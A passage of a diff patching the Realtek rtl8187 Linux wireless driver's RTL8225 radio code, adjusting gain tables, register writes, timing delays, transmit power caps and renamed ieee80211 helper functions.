0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 1 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,48 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - - max_cck_power_level = 15; + + + max_cck_power_level = 35; //min_cck_power_level = 0; - max_ofdm_power_level = 25; // 12 -> 25 + max_ofdm_power_level = 35; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + if(cck_power_level >= 20 && cck_power_level < 30) + cck_power_level = 19; + for(i=0;i<8;i++){ - power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +482,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +511,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +557,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +626,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +681,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +711,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +741,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +772,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +799,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +824,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +852,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +902,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +915,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x86); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +980,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1007,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1024,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.c rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_wx.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.c 2006-06-05 19:58:02.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_wx.c 2010-05-19 22:18:51.882696872 -0700 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include 